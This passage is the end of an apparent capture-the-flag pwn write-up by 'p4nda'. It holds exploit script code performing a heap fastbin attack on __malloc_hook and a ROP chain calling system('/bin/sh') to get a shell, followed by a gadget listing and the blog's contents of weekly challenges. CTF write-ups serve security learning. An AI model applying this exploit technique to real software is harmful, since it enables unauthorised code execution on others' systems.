add('step3\n',18,0x70,'hack by p4nda')


add('step4\n',0,0x50,'hack by p4nda')
add('step4\n',0,0x50,'hack by p4nda')
delete_user('step4')
delete_user('step4')
#gdb.attach(p,'b *0x400a0f')
add('step4\n',0,0x50,p64(libc.symbols['__malloc_hook']+0x10+0x08*6))
add('step4\n',0,0x50,'hack by p4nda')
add('step4\n',0,0x50,'hack by p4nda')

add('padding\n',0,0x38,'hack by p4nda')
add('padding\n',0,0x38,'hack by p4nda')
add('padding\n',0,0x38,'hack by p4nda')
add('padding\n',0,0x38,'hack by p4nda')
delete_user('padding')
add('step4\n',0,0x50,p64(0)*3+p64(stack_addr-stack_offset-0x8))
add('step4\n',0,0x40,p64(0x0000000000401053)+p64(next(libc.search('/bin/sh')))+p64(libc.symbols['system']))
#add('step3\n',18,0x60,'a'*0x40)
p.interactive()
'''
============================================================
0x000000000040104c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040104e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000401050 : pop r14 ; pop r15 ; ret
0x0000000000401052 : pop r15 ; ret
0x000000000040104b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040104f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400870 : pop rbp ; ret
0x0000000000401053 : pop rdi ; ret
0x0000000000401051 : pop rsi ; pop r15 ; ret
0x000000000040104d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400709 : ret
0x0000000000400782 : ret 0x2018
0x0000000000400abd : ret 0x8b48

'''

题目

文章目录
  1. 1. LEVEL - WEEK 1
    1. 1.1. guess_number
    2. 1.2. flag_server
    3. 1.3. zazahui
  2. 2. LEVEL - WEEK 2
    1. 2.1. ez_shellcode
    2. 2.2. ez_bash_jail
    3. 2.3. hacker_system_v1
    4. 2.4. ez_shellcode_ver2
  3. 3. LEVEL - WEEK 3
    1. 3.1. hacker_system_ver2
    2. 3.2. calc
    3. 3.3. zazahui_ver2
    4. 3.4. message_saver
  4. 4. LEVEL - WEEK 4
    1. 4.1. ascii_art_market
    2. 4.2. base64_decoder
    3. 4.3. hacker_system_ver3
|